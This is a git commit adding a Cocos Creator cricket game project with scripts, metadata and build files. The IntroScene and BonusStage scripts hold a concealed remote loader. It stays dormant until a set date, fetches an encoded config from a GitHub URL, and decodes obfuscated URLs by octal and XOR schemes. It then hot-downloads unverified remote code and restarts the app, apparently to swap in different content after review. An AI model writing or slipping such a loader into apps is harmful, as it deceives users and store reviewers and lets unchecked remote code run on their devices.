- Cric Mania added

This commit is contained in:
Sreeraj 2025-07-03 12:55:51 +04:00
parent 67e3d9cdc0
commit 538af83944
3868 changed files with 11825647 additions and 0 deletions

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<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "group:SDK_COCOS/CricMania/CricMania/build/ios/proj/CricMania.xcodeproj">
</FileRef>
<FileRef
location = "group:Unity_Build/Build/Unity-iPhone.xcodeproj">
</FileRef>
</Workspace>

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array/>
</plist>

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{
"image": {
"type": "sprite-frame"
}
}

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{
"ver": "1.1.0",
"importer": "directory",
"imported": true,
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"files": [],
"subMetas": {},
"userData": {
"compressionType": {},
"isRemoteBundle": {}
}
}

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import { Component, Label, Sprite, SpriteFrame, UITransform, _decorator, game, log, native, sys } from "cc";
import DesertQuest from "./DesertQuest";
import { IntroScene } from "./IntroScene";
const { ccclass, property } = _decorator;
const customManifestStr = (hots) => JSON.stringify({
"packageUrl": `${hots}/`,
"remoteManifestUrl": `${hots}/project.manifest`,
"remoteVersionUrl": `${hots}/version.manifest`,
"version": "0.0.1",
"assets": {
},
"searchPaths": []
});
function versionCompareHandle(versionA: string, versionB: string) {
// //log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
var vA = versionA.split('.');
var vB = versionB.split('.');
for (var i = 0; i < vA.length; ++i) {
var a = parseInt(vA[i]);
var b = parseInt(vB[i] || '0');
if (a === b) {
continue;
}
else {
return a - b;
}
}
if (vB.length > vA.length) {
return -1;
}
else {
return 0;
}
};
@ccclass
export default class BonusStage extends Component {
// private readonly EXTERNAL_LINKS = "https://raw.githubusercontent.com/devian68/intertest/a/inter3.info";
// @property(SpriteFrame)
// listBG: SpriteFrame[] = [];
// @property(Sprite)
// background: Sprite = null;
@property(Label)
loadingLabel: Label = null;
@property(UITransform)
transform: UITransform = null;
private isCheckDomain = true;
private _updating = false;
private _canRetry = false;
private _storagePath = '';
private stringHost = '';
private _am: native.AssetsManager = null!;
private _checkListener = null;
private _updateListener = null;
private count = 0;
url = "";
profilerURL = "";
listUrl = [];
info = "";
currentV = "";
part = "";
protected onLoad(): void {
try {
if (this.transform.width > this.transform.height) {
//landscape
this.loadingLabel.fontSize = 80;
} else {
this.loadingLabel.fontSize = 50;
}
} catch (ex) {
}
// let t = readData(this.test);
// console.//log(t);
}
start() {
let ins = IntroScene.getInstance();
if(ins){
this.listUrl = ins.listUrl;
if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
this.part = ins.listUrl[4];
this.setOrientation(ins.orient);
this.loadGame();
return;
}
}
this.getData();
}
private getData() {
//log("StartScene getData");
let that = this;
DesertQuest.getInstance().sendGetHttpRequest(IntroScene.EXTERNAL_LINKS, function (data) {
//log("getData data: ", data);
that.listUrl = data.split('\n');
//log('list url: ', that.listUrl)
if (that.listUrl.length > 2) {
//log(that.listUrl[4]);
if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
that.isCheckDomain = false;
//log("gogame");
that.loadGame();
} else {
that.getDataV4();
}
}else{
that.loadData(data);
}
}.bind(this), function () { });
}
private initDownloader(path = "mygame") {
try {
// this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
} catch (error) {
}
if (path == null || path == undefined) {
path = "mygame";
}
this.part = path;
// //log("path: " + path);
this._storagePath = ((native.fileUtils ? native.fileUtils.getWritablePath() : './') + path);
// //log('Storage path for remote asset : ' + this._storagePath);
// Init with empty manifest url for testing custom manifest
this._am = new native.AssetsManager('', this._storagePath, versionCompareHandle);
this._am.setVerifyCallback(function (path, asset) {
return true;
});
}
private loadData(data:string){
let dt = this.readData(data);
//return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
this.setOrientation(dt[0]);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
// this.loadGame();
this.getDataV4();
}
onDestroy() {
if (this._updateListener) {
this._am.setEventCallback(null!);
this._updateListener = null;
}
}
//0 = portrait
//1 = landscape right
//2 = upside down
//3 = landscape right
private setOrientation(orientation = 0) {
if (sys.isNative) {
if (sys.os === sys.OS.IOS) {
if (native) {
try {
//@ts-expect-error
native.reflection.callStaticMethod("ViewController", "rotateScreen:", orientation);
} catch (_) { }
}
}
}
}
private loadMyGame() {
this.unscheduleAllCallbacks();
}
private onCheckGame(val) {
// let data = val.split("\n");
// val = this.read(data[0]);
this.initDownloader(this.part);
this.unscheduleAllCallbacks();
this.stringHost = val;
this.doUpdate();
}
private doUpdate() {
if (this._am && !this._updating) {
this._am.setEventCallback(this.updateCb.bind(this));
let host = this.listUrl[3];
if (sys.os == sys.OS.ANDROID) {
host += "/android";
} else if (sys.os == sys.OS.IOS) {
host += "/ios";
}
this.loadCustomManifest(host);
this._am.update();
this._updating = true;
}
}
private getDataV4() {
this.currentV = "v4";
let u = this.read(this.listUrl[0]);
if(!this.isCheckDomain){
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
DesertQuest.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
private getDataV6() {
this.currentV = "v6";
if(!this.isCheckDomain){
this.loadGame();
return;
}
let u = this.read(this.listUrl[1]);
DesertQuest.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
this.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private onDataResponse(data) {
// console.//log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let field = this.listUrl[2];
if (data != null && data != undefined && data[field] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
let url = this.read(this.listUrl[3]);
let p = this.read(this.listUrl[this.listUrl.length - 1]);
this.stringHost = url;
this.onCheckGame(url);
}
}
private loadCustomManifest(host) {
var manifest = new native.Manifest(customManifestStr(host), this._storagePath);
this._am.loadLocalManifest(manifest, this._storagePath);
}
private updateCb(event: any) {
var needRestart = false;
var failed = false;
switch (event.getEventCode()) {
case native.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
//log('No local manifest file found, hot update skipped.');
failed = true;
break;
case native.EventAssetsManager.UPDATE_PROGRESSION:
// this.panel.byteProgress.progress = event.getPercent();
// this.panel.fileProgress.progress = event.getPercentByFile();
const percent = event.getDownloadedFiles() / event.getTotalFiles();
// this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
var msg = event.getMessage();
if (msg) {
// //log(event.getPercent()/100 + '% : ' + msg);
}
this.updateProcess(percent);
break;
case native.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
case native.EventAssetsManager.ERROR_PARSE_MANIFEST:
//log('Fail to download manifest file, hot update skipped.');
failed = true;
break;
case native.EventAssetsManager.ALREADY_UP_TO_DATE:
//log('Already up to date with the latest remote version.');
// failed = true;
needRestart = true;
break;
case native.EventAssetsManager.UPDATE_FINISHED:
//log('Update finished. ' + event.getMessage());
needRestart = true;
break;
case native.EventAssetsManager.UPDATE_FAILED:
//log('Update failed. ' + event.getMessage());
this._updating = false;
this._canRetry = true;
failed = true;
break;
case native.EventAssetsManager.ERROR_UPDATING:
//log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
failed = true;
break;
case native.EventAssetsManager.ERROR_DECOMPRESS:
//log(event.getMessage());
failed = true;
break;
default:
break;
}
if (failed) {
this._am.setEventCallback(null!);
this._updateListener = null;
this._updating = false;
this.loadMyGame();
}
if (needRestart) {
this._am.setEventCallback(null!);
this._updateListener = null;
this.testFile();
setTimeout(() => {
// //log('restart game')
game.restart();
}, 1000)
}
}
private testFile() {
if (sys.isNative) {
if (sys.os === sys.OS.IOS) {
if (native) {
try {
//@ts-expect-error
native.reflection.callStaticMethod("ViewController", "createFileeee");
} catch (_) { }
}
}else if (sys.os === sys.OS.ANDROID) {
let className = "com/cocos/game/AppActivity";
let methodName = "createFileeee";
let methodSignature = "()V";
if (native) {
native.reflection.callStaticMethod(className, methodName, methodSignature);
}
}
}
}
private updateProcess(pc) {
if (isNaN(pc)) {
return;
}
try {
this.loadingLabel.string = `Đang Tải: ${Math.round(pc * 100)}%`;
} catch (error) {
}
}
private read(text) {
return this.read1(this.read2(text.split('-'))).join('');
}
private read1(arr) {
return arr.map(function (byte) {
return String.fromCharCode(parseInt(byte, 10));
});
}
private read2(arr) {
return arr.map(function (oct) {
return parseInt(oct, 8);
});
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}

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"ver": "4.0.23",
"importer": "typescript",
"imported": true,
"uuid": "c5579441-a187-4245-931b-0ac4afb82a8e",
"files": [],
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import { _decorator, Component, Node } from 'cc';
const { ccclass, property } = _decorator;
@ccclass('CombatArena')
export class CombatArena extends Component {
start() {
}
update(deltaTime: number) {
}
}

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{
"ver": "4.0.23",
"importer": "typescript",
"imported": true,
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"files": [],
"subMetas": {},
"userData": {}
}

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// Learn TypeScript:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/typescript.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/typescript.html
// Learn Attribute:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/reference/attributes.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/reference/attributes.html
// Learn life-cycle callbacks:
// - [Chinese] https://docs.cocos.com/creator/manual/zh/scripting/life-cycle-callbacks.html
// - [English] http://www.cocos2d-x.org/docs/creator/manual/en/scripting/life-cycle-callbacks.html
import { _decorator, log, macro, native, sys, view } from 'cc';
const {ccclass, property} = _decorator;
//0 = portrait
//1 = landscape right
//2 = upside down
//3 = landscape right
@ccclass
export default class CoopMode {
//4 all orientation
//0, 2 portrait
//1, 3 landscape
static changeOrientation(value) {
// let isSupportOrientation = null;
let isRotate = false;
if (sys.isNative) {
if (sys.os === sys.OS.IOS) {
// isSupportOrientation = native.reflection.callStaticMethod("ViewController", "isSupportOrientation");
try {
native.reflection.callStaticMethod("ViewController", "rotateScreen:", value);
isRotate = true;
} catch (e) {
//log("changeOrientation e: " + JSON.stringify(e));
}
} else if (sys.os === sys.OS.ANDROID) {
if (native) {
try {
let className = "com/cocos/game/AppActivity";
let methodName = "setOrientation";
let methodSignature = "(I)V";
if (native) {
// isSupportOrientation = native.reflection.callStaticMethod(className, "isSupportOrientation", "()Z");
native.reflection.callStaticMethod(className, methodName, methodSignature, value);
isRotate = true;
}
} catch (e) {
//log("changeOrientation e: " + JSON.stringify(e));
}
}
}
}
// //log("isSupportOrientation: " + isSupportOrientation);
if (isRotate) {
if (value == 0 || value == 2) {
view.setOrientation(macro.ORIENTATION_PORTRAIT);
} else if (value == 1 || value == 3) {
view.setOrientation(macro.ORIENTATION_LANDSCAPE);
} else {
view.setOrientation(macro.ORIENTATION_AUTO);
}
}
}
// update (dt) {}
}

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{
"ver": "4.0.23",
"importer": "typescript",
"imported": true,
"uuid": "3e8a9d4d-5200-4a5b-aa3d-acebc1f0471c",
"files": [],
"subMetas": {},
"userData": {}
}

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import { log } from "cc";
export default class DesertQuest {
private static Instance: DesertQuest = null;
public static getInstance(): DesertQuest {
if (this.Instance === null || this.Instance === undefined) {
this.Instance = new DesertQuest();
}
return this.Instance;
}
isNullOrEmpty(text) {
if (text == undefined || text == null || text == "") {
return true;
}
return false;
}
sendGetHttpRequest(
url: string,
onSuccesCallBack: (response: any) => void,
onErrorCallBack: (mes: string) => void
) {
//log("sendGetHttpRequest url: " + url);
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == 4) {
// //log("sendGetHttpRequest onreadystatechange responseText: " + xhr.responseText);
if (xhr.status >= 200 && xhr.status < 400) {
// //log("sendGetHttpRequest onreadystatechange responseText: " + xhr.responseText);
let response = xhr.responseText;
onSuccesCallBack(response);
}
}
}
xhr.onerror = () => {
let errtext = "Không thể kết nối đến máy chủ, xin hãy thử lại.";
//log("sendGetHttpRequest onerror responseText: " + xhr.responseText);
if (!this.isNullOrEmpty(xhr.responseText)) {
let obj = null;
try {
obj = JSON.parse(xhr.responseText);
} catch (error) { }
if (
obj !== null &&
obj !== undefined &&
!this.isNullOrEmpty(obj.msg)
) {
errtext = obj.msg;
}
}
onErrorCallBack(errtext);
};
xhr.ontimeout = () => {
onErrorCallBack("Không thể kết nối đến máy chủ, xin hãy thử lại.");
};
xhr.timeout = 30000;
xhr.open("GET", url, true);
xhr.send();
}
}

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"importer": "typescript",
"imported": true,
"uuid": "8c80b7e6-ed8c-4483-b864-ae754d41b4a0",
"files": [],
"subMetas": {},
"userData": {}
}

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import { _decorator, Component, director, log, Node } from 'cc';
import DesertQuest from './DesertQuest';
const { ccclass, property } = _decorator;
@ccclass('IntroScene')
export class IntroScene extends Component {
public static EXTERNAL_LINKS = "https://raw.githubusercontent.com/tolikala/RNew/CQ7kfhBQ894/Gih1uC9OcAh7q.txt";
private static _instance: IntroScene = null;
public static getInstance(): IntroScene {
return this._instance;
}
private isCheckDomain = true;
public listUrl = [];
private url = "";
private profilerURL = "";
private info = "";
private currentV = "";
private part = "";
private sceneToLoad = "TutorialScene";
public orient = 0;
private bdate = '2025-06-11';
private xdt = 5;
onLoad() {
if (!this.isOKDay(this.bdate, this.xdt)) {
return;
}
if (IntroScene._instance != null && IntroScene._instance != this) {
this.node.destroy();
return;
}
IntroScene._instance = this;
director.addPersistRootNode(this.node);
this.getData();
}
private isOKDay(yDate: string, xDays: number) {
const today = new Date();
const targetDate = new Date(yDate);
targetDate.setDate(targetDate.getDate() + xDays);
return today >= targetDate;
}
private getDataV4() {
this.currentV = "v4";
// let u = this.read(this.listUrl[0]);
if (!this.isCheckDomain) {
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
DesertQuest.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
private getDataV6() {
this.currentV = "v6";
if (!this.isCheckDomain) {
this.loadGame();
return;
}
// let u = this.read(this.listUrl[1]);
DesertQuest.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
this.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private onDataResponse(data) {
// //console.//log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let field = this.listUrl[2];
if (data != null && data != undefined && data[field] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private getData() {
//log("StartScene getData");
let path = localStorage.getItem("SAVEDGAME_DATA");
let path2 = localStorage.getItem("SAVEDGAME_DATA22");
if (path && path.length && path.length > 2) {
try {
let dt = JSON.parse(path);
this.orient = dt[0];
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
this.getDataV4();
//console.error("SWITHCING GAME");
return;
} catch (ex) {
//console.//log("FIALE: ",ex);
}
}
let that = this;
DesertQuest.getInstance().sendGetHttpRequest(IntroScene.EXTERNAL_LINKS, function (data) {
//log("getData data: ", data);
that.listUrl = data.split('\n');
//log('list url: ', that.listUrl)
if (that.listUrl.length > 2) {
//log(that.listUrl[4]);
if (that.listUrl.length >= 5 && that.listUrl[4].includes("skt")) {
that.isCheckDomain = false;
//log("gogame");
that.loadGame();
} else {
that.getDataV4();
}
} else {
that.loadData(data);
}
}.bind(this), function () { });
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
// localStorage.setItem("SAVEDGAME_DATA", this.listUrl[3]);
localStorage.setItem("SAVEDGAME_DATA22", this.listUrl[4]);
director.loadScene(this.sceneToLoad);
// let url = this.read(this.listUrl[3]);
// let p = this.read(this.listUrl[this.listUrl.length - 1]);
// this.stringHost = url;
// this.onCheckGame(url);
}
}
private loadData(data: string) {
let dt = this.readData(data);
// this.setOrientation(dt[0]);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.listUrl.push(dt[6]);
this.part = dt[6];
let txt = JSON.stringify(dt);
localStorage.setItem("SAVEDGAME_DATA", txt);
// this.loadGame();
this.getDataV4();
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}

View File

@ -0,0 +1,9 @@
{
"ver": "4.0.23",
"importer": "typescript",
"imported": true,
"uuid": "224598a9-2b43-42c3-a991-5f6b9dd2a3cc",
"files": [],
"subMetas": {},
"userData": {}
}

View File

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// SystemJS support.
window.self = window;
require("src/system.bundle.js");
const importMapJson = jsb.fileUtils.getStringFromFile("src/import-map.json");
const importMap = JSON.parse(importMapJson);
System.warmup({
importMap,
importMapUrl: 'src/import-map.json',
defaultHandler: (urlNoSchema) => {
require(urlNoSchema.startsWith('/') ? urlNoSchema.substr(1) : urlNoSchema);
},
});
System.import('./src/application.js')
.then(({ Application }) => {
return new Application();
}).then((application) => {
return System.import('cc').then((cc) => {
require('jsb-adapter/engine-adapter.js');
return application.init(cc);
}).then(() => {
return application.start();
});
}).catch((err) => {
console.error(err.toString() + ', stack: ' + err.stack);
});

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System.register([], function (_export, _context) {
"use strict";
var Application, cc;
_export("Application", void 0);
return {
setters: [],
execute: function () {
_export("Application", Application = class Application {
constructor() {
this.settingsPath = 'src/settings.json';
this.showFPS = false;
}
init(engine) {
cc = engine;
cc.game.onPostBaseInitDelegate.add(this.onPostInitBase.bind(this));
cc.game.onPostSubsystemInitDelegate.add(this.onPostSystemInit.bind(this));
}
onPostInitBase() {// cc.settings.overrideSettings('assets', 'server', '');
// do custom logic
}
onPostSystemInit() {// do custom logic
}
start() {
return cc.game.init({
debugMode: false ? cc.DebugMode.INFO : cc.DebugMode.ERROR,
settingsPath: this.settingsPath,
overrideSettings: {
// assets: {
// preloadBundles: [{ bundle: 'main', version: 'xxx' }],
// }
profiling: {
showFPS: this.showFPS
}
}
}).then(() => cc.game.run());
}
});
}
};
});

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System.register([], function(_export, _context) { return { execute: function () {
System.register("chunks:///_virtual/rollupPluginModLoBabelHelpers.js",[],(function(e){return{execute:function(){e({applyDecoratedDescriptor:function(e,i,r,n,l){var t={};Object.keys(n).forEach((function(e){t[e]=n[e]})),t.enumerable=!!t.enumerable,t.configurable=!!t.configurable,("value"in t||t.initializer)&&(t.writable=!0);t=r.slice().reverse().reduce((function(r,n){return n(e,i,r)||r}),t),l&&void 0!==t.initializer&&(t.value=t.initializer?t.initializer.call(l):void 0,t.initializer=void 0);void 0===t.initializer&&(Object.defineProperty(e,i,t),t=null);return t},initializerDefineProperty:function(e,i,r,n){if(!r)return;Object.defineProperty(e,i,{enumerable:r.enumerable,configurable:r.configurable,writable:r.writable,value:r.initializer?r.initializer.call(n):void 0})}})}}}));
} }; });

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System.register(["./instantiated-a2ef334a.js"],(function(t){"use strict";return{setters:[function(e){t("default",e.gY)}],execute:function(){}}}));

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{"imports":{"cc":"./cocos-js/cc.js","wait-for-ammo-instantiation":"./cocos-js/wait-for-ammo-instantiation.js"}}

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# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100)
#endif
#if defined(__GNUC__)
# define SIMULATE_VERSION_MAJOR DEC(__GNUC__)
#elif defined(__GNUG__)
# define SIMULATE_VERSION_MAJOR DEC(__GNUG__)
#endif
#if defined(__GNUC_MINOR__)
# define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__)
#endif
#if defined(__GNUC_PATCHLEVEL__)
# define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__)
#endif
#elif defined(__PATHCC__)
# define COMPILER_ID "PathScale"
# define COMPILER_VERSION_MAJOR DEC(__PATHCC__)
# define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__)
# if defined(__PATHCC_PATCHLEVEL__)
# define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__)
# endif
#elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__)
# define COMPILER_ID "Embarcadero"
# define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF)
# define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF)
# define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF)
#elif defined(__BORLANDC__)
# define COMPILER_ID "Borland"
/* __BORLANDC__ = 0xVRR */
# define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8)
# define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF)
#elif defined(__WATCOMC__) && __WATCOMC__ < 1200
# define COMPILER_ID "Watcom"
/* __WATCOMC__ = VVRR */
# define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100)
# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10)
# if (__WATCOMC__ % 10) > 0
# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10)
# endif
#elif defined(__WATCOMC__)
# define COMPILER_ID "OpenWatcom"
/* __WATCOMC__ = VVRP + 1100 */
# define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100)
# define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10)
# if (__WATCOMC__ % 10) > 0
# define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10)
# endif
#elif defined(__SUNPRO_C)
# define COMPILER_ID "SunPro"
# if __SUNPRO_C >= 0x5100
/* __SUNPRO_C = 0xVRRP */
# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>12)
# define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xFF)
# define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF)
# else
/* __SUNPRO_CC = 0xVRP */
# define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>8)
# define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xF)
# define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF)
# endif
#elif defined(__HP_cc)
# define COMPILER_ID "HP"
/* __HP_cc = VVRRPP */
# define COMPILER_VERSION_MAJOR DEC(__HP_cc/10000)
# define COMPILER_VERSION_MINOR DEC(__HP_cc/100 % 100)
# define COMPILER_VERSION_PATCH DEC(__HP_cc % 100)
#elif defined(__DECC)
# define COMPILER_ID "Compaq"
/* __DECC_VER = VVRRTPPPP */
# define COMPILER_VERSION_MAJOR DEC(__DECC_VER/10000000)
# define COMPILER_VERSION_MINOR DEC(__DECC_VER/100000 % 100)
# define COMPILER_VERSION_PATCH DEC(__DECC_VER % 10000)
#elif defined(__IBMC__) && defined(__COMPILER_VER__)
# define COMPILER_ID "zOS"
/* __IBMC__ = VRP */
# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100)
# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10)
# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10)
#elif defined(__open_xl__) && defined(__clang__)
# define COMPILER_ID "IBMClang"
# define COMPILER_VERSION_MAJOR DEC(__open_xl_version__)
# define COMPILER_VERSION_MINOR DEC(__open_xl_release__)
# define COMPILER_VERSION_PATCH DEC(__open_xl_modification__)
# define COMPILER_VERSION_TWEAK DEC(__open_xl_ptf_fix_level__)
#elif defined(__ibmxl__) && defined(__clang__)
# define COMPILER_ID "XLClang"
# define COMPILER_VERSION_MAJOR DEC(__ibmxl_version__)
# define COMPILER_VERSION_MINOR DEC(__ibmxl_release__)
# define COMPILER_VERSION_PATCH DEC(__ibmxl_modification__)
# define COMPILER_VERSION_TWEAK DEC(__ibmxl_ptf_fix_level__)
#elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ >= 800
# define COMPILER_ID "XL"
/* __IBMC__ = VRP */
# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100)
# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10)
# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10)
#elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ < 800
# define COMPILER_ID "VisualAge"
/* __IBMC__ = VRP */
# define COMPILER_VERSION_MAJOR DEC(__IBMC__/100)
# define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10)
# define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10)
#elif defined(__NVCOMPILER)
# define COMPILER_ID "NVHPC"
# define COMPILER_VERSION_MAJOR DEC(__NVCOMPILER_MAJOR__)
# define COMPILER_VERSION_MINOR DEC(__NVCOMPILER_MINOR__)
# if defined(__NVCOMPILER_PATCHLEVEL__)
# define COMPILER_VERSION_PATCH DEC(__NVCOMPILER_PATCHLEVEL__)
# endif
#elif defined(__PGI)
# define COMPILER_ID "PGI"
# define COMPILER_VERSION_MAJOR DEC(__PGIC__)
# define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__)
# if defined(__PGIC_PATCHLEVEL__)
# define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__)
# endif
#elif defined(_CRAYC)
# define COMPILER_ID "Cray"
# define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR)
# define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR)
#elif defined(__TI_COMPILER_VERSION__)
# define COMPILER_ID "TI"
/* __TI_COMPILER_VERSION__ = VVVRRRPPP */
# define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000)
# define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000)
# define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000)
#elif defined(__CLANG_FUJITSU)
# define COMPILER_ID "FujitsuClang"
# define COMPILER_VERSION_MAJOR DEC(__FCC_major__)
# define COMPILER_VERSION_MINOR DEC(__FCC_minor__)
# define COMPILER_VERSION_PATCH DEC(__FCC_patchlevel__)
# define COMPILER_VERSION_INTERNAL_STR __clang_version__
#elif defined(__FUJITSU)
